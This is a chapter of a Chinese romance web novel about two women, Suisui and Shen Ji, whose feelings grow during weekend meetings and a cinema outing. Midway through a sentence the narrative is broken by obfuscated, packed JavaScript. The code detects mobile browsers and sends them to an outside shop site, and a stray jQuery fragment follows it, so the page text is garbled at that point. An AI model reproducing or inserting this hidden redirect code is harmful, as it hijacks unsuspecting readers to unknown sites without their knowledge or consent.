第十八章靠近胆怯，远离想念
自从那次书店见面之后，岁岁和沈寂的联系变得频繁起来。
起初只是偶尔的微信消息。沈寂会分享一些她看到的书摘，岁岁会回复一些工作中的趣事。对话不多，每条之间往往隔着几个小时，但那种若有若无的联系，像一根细细的丝线，将两个人重新牵引到了一起。
然后，见面也变得频繁了。
沈寂会在周五下午发来一条消息：「明天有空吗？新发现一家咖啡馆。」岁岁会回：「好啊，几点？」周末的见面就这样自然而然地定了下来。她们一起去咖啡馆，一起去书店，一起在城市的大街小巷里散步。有时候也会一起做饭——确切地说，是岁岁做饭，沈寂在旁边帮忙打下手，两个人挤在沈寂那间小小的公寓厨房里，锅碗瓢盆碰撞的声音伴随着岁岁絮絮叨叨的话语，竟有一种奇异的温馨感。
她们从不谈论过去。七年的空白像一片禁区，两个人默契地绕道而行，只聊当下，只聊眼前。但这种刻意的回避本身就说明了问题——那些没有被提及的往事，像沉在水底的巨石，表面平静，实则占据了绝大部分的空间。
岁岁发现自己越来越期待周末的到来。
周五下午，她会不自觉地频繁查看手机，生怕错过沈寂的消息。周六早上，她会比平时更用心地挑选衣服，会在镜子前多站几分钟。出门的时候，她会带着一种隐秘的雀跃，像是心里有一只蝴蝶在扑棱着翅膀。
她知道自己正在滑向一个危险的方向。
她告诉自己要保持距离。她们之间隔着七年的空白，隔着当年的伤痕，隔着太多没有说清楚的东西。成年人应该理智，应该克制，不应该重蹈覆辙。
可是每次看到沈寂的消息，每次见到沈寂本人，那些理智和克制就像阳光下的冰雪，迅速地消融殆尽。
她控制不住自己。
有一天晚上，岁岁躺在床上，盯着天花板，问了自己一个直白的问题——你对沈寂，到底是什么感觉？
答案是：她不知道。
她当然喜欢沈寂。从幼儿园开始，沈寂就是她生命中最重要的人。那种喜欢超越了友情，掺杂着依赖、保护欲、占有欲，还有一些她当年不敢命名的东西。
可是，那种喜欢足够让她再赌一次吗？
赌上她现在平静的生活，赌上她好不容易建立起来的心理防线，赌上她可能再次受伤的风险。
她不知道。
她把被子蒙在头上，用力闭上了眼睛。
与此同时，沈寂也在经历着相似的挣扎。
她坐在书桌前，面前摊着那个深蓝色的笔记本。七年了，她一直带着它，从老家带到这座城市。笔记本的边角已经磨损得更厉害了，封面的颜色也褪了不少，但里面的字迹依然清晰。
她翻开最新的一页，拿起笔，写道：
「今天又见到她了。她说她工作上遇到了一件很无语的事，说的时候眉毛皱成一团，很像小时候被抢了糖果的样子。我没告诉她，她皱眉头的样子其实挺可爱的。」
她停了一下，又继续写：
「我好像越来越贪心了。以前只想远远地看着她就够了。现在见到了，又想要更多。想每天都见到她。想听她说那些琐碎的日常。想看她笑。想让她只对我笑。」
她合上笔记本，把它放回抽屉里，然后靠在椅背上，看着窗外的夜空。
她知道自己正在靠近一个危险的边缘。七年前，她因为无法表达而失去了岁岁。七年后，她依然不确定自己是否有能力维系一段关系。她害怕历史重演，害怕自己再一次让岁岁失望。
可是她更害怕——如果这次不抓住，就再也没有机会了。
周末，她们约好了一起去看一部新上映的电影。
电影院在商场的四楼，周末人很多，到处都是一对对的情侣和三两成群的朋友。岁岁和沈寂并排站在取票机前，岁岁操作着屏幕，沈寂站在她身后半步的位置。
取完票，岁岁转过身，差点撞上沈寂。
距离太近了。近到岁岁能看清沈寂睫毛的弧度，能闻到她身上淡淡的洗衣液清香。
她的心跳猛地加速了。
她后退了一步，拉开距离，故作轻松地说：“走吧，去买点爆米花。”
沈寂点了点头，跟在她身后。
电影是一部文艺片，节奏缓慢，画面唯美。岁岁一开始还能专注于剧情，但渐渐地，她的注意力开始飘忽。她发现沈寂看电影的时候很安静，身体微微前倾，目光专注，偶尔会因为剧情轻轻抿一下嘴唇。
岁岁偷偷看了她好几眼，每一次都迅速移开目光，假装在看屏幕。
电影放到一半，有一段特别煽情的片段。女主角在雨中哭泣，男主角撑着伞走过来，无声地将伞倾向她那边。
岁岁忽然感觉到自己的手背被什么东西轻轻碰了一下。
她低头一看。
是沈寂的手指。
沈寂的手搭在座椅扶手上，指尖不经意地碰到了岁岁的手背。不知道是不小心的，还是有意的。
岁岁屏住了呼吸。
她没有抽开手。
沈寂也没有。
那一点微小的接触，像一根通电的导线，在两个人之间传递着某种说不清道不明的电流。她们都假装没有注意到，目光都锁定在屏幕上，但谁都没有移动手指。
直到电影的片尾字幕开始滚动，沈寂才率先收回了手。
岁岁也收回了手，握成拳，放在膝盖上。
她的掌心里全是汗。
电影散场后，两个人走出影院，谁都没有说话。
电梯里人很多，她们被挤到了角落里。岁岁站在沈寂身前，背对着她，能感觉到沈寂的呼吸轻轻拂过她的后颈。那个位置太敏感了，她的后背绷得紧紧的，一动也不敢动。
电梯到了一楼，人群散去，岁岁几乎是逃也似的走出了电梯。
沈寂跟在她身后，看着她略显仓促的背影，目光微微暗了一下。
两个人走出商场，夜晚的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17892581|212782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
风迎面吹来，岁岁这才觉得脸上的热度降下来了一些。
“要吃点东西吗？”沈寂问。
“不饿。”岁岁说，“有点累了，想回去休息。”
沈寂看了她一眼，没有强求：“我送你。”
“不用了，我自己打车就行。”
“……我送你到小区门口。”
岁岁张了张嘴，最终还是妥协了：“……好吧。”
出租车里，两个人并排坐在后座。司机放着一首舒缓的老歌，车窗外的霓虹灯光流转而过，在两个人的脸上投下明明灭灭的光影。
岁岁靠在车窗上，闭着眼睛装睡。她不知道该怎么面对沈寂。刚才在电影院里的那一下触碰，像一颗投入湖面的石子，在她心里激起了层层涟漪，久久无法平息。
她需要时间来消化。
沈寂坐在她旁边，侧过头，看着岁岁闭着眼睛的侧脸。车窗外的光影在她脸上流动，她的睫毛微微颤动着，显然并没有真的睡着。
沈寂没有拆穿她。
她只是安静地坐在那里，保持着和岁岁之间一拳的距离。
不远不近。
像是怕惊扰了什么。
到了小区门口，岁岁下了车，弯腰对车里的沈寂说：“谢谢你送我。回去早点休息。”
沈寂点了点头：“你也是。”
车门关上，出租车掉头离去。岁岁站在原地，看着那辆车的尾灯渐渐消失在夜色中，才转身往小区里走去。
她走了几步，忽然停下来，掏出手机。
她打开和沈寂的对话框，打了一行字：「今天电影很好看。下次再一起看。」
她盯着那行字看了几秒，然后按下了发送键。
很快，沈寂的回复弹了出来：「好。」
岁岁看着那个“好”字，嘴角不受控制地上扬。
她把手机放进口袋里，脚步轻快地往家走去。
而此时此刻，出租车里的沈寂，正低头看着手机屏幕上岁岁发来的那条消息，指尖轻轻抚过那行字，像是想透过屏幕触碰到什么。
她对前面的司机说：“师傅，麻烦在前面路口掉个头。”
司机从后视镜里看了她一眼：“姑娘，你忘了什么东西？”
沈寂没有回答。
她只是把手机锁了屏，握在手里，目光望向窗外飞速掠过的夜景。
她没有忘什么东西。
她只是——想在今晚再多看岁岁一眼。
出租车在岁岁住的小区门口停下。沈寂没有下车，只是坐在车里，透过车窗，看着那扇已经关闭的单元门。
她知道岁岁住在几楼。那扇亮着灯的窗户，就是岁岁的家。
她看着那扇窗户，看了很久。
直到那盏灯熄灭，她才对司机说：“师傅，走吧。”
车子重新启动，驶入夜色中。
沈寂靠在座椅上，闭上眼睛。
她知道自己正在一步步靠近那个危险的地方。可她已经不想回头了。